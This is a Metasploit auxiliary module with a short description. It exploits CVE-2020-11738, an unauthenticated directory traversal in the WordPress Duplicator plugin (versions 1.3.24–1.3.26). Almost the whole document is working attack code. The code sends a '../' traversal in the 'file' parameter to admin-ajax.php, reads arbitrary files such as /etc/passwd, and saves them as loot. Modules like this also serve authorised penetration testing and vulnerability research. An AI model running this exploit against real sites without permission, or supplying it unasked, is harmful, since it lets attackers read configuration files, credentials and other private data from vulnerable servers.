This Metasploit module exploits an unauthenticated directory traversal vulnerability in WordPress plugin Duplicator version 1.3.24-1.3.26, allowing arbitrary file read with the web server privileges. This vulnerability was being actively exploited when it was discovered.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Duplicator File Read Vulnerability',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability in WordPress plugin
'Duplicator' version 1.3.24-1.3.26, allowing arbitrary file read with the web server privileges.
This vulnerability was being actively exploited when it was discovered.
},
'References' => [
['CVE', '2020-11738'],
['WPVDB', '10078'],
['URL', 'https://snapcreek.com/duplicator/docs/changelog']
],
'Author' => [
'Ramuel Gall', # Vulnerability discovery
'Hoa Nguyen - SunCSR Team' # Metasploit module
],
'DisclosureDate' => '2020-02-19',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 5])
]
)
end
def check
check_plugin_version_from_readme('duplicator_download', '1.3.27', '1.3.24')
end
def run_host(ip)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ %r{^/}
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_get' =>
{
'action' => 'duplicator_download',
'file' => "#{traversal}#{filename}"
}
})
fail_with Failure::Unreachable, 'Connection failed' unless res
fail_with Failure::NotVulnerable, 'Connection failed. Nothing was downloaded' if res.code != 200
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.empty?
print_status('Downloading file...')
print_line("\n#{res.body}\n")
fname = datastore['FILEPATH']
path = store_loot(
'duplicator.traversal',
'text/plain',
ip,
res.body,
fname
)
print_good("File saved in: #{path}")
end
end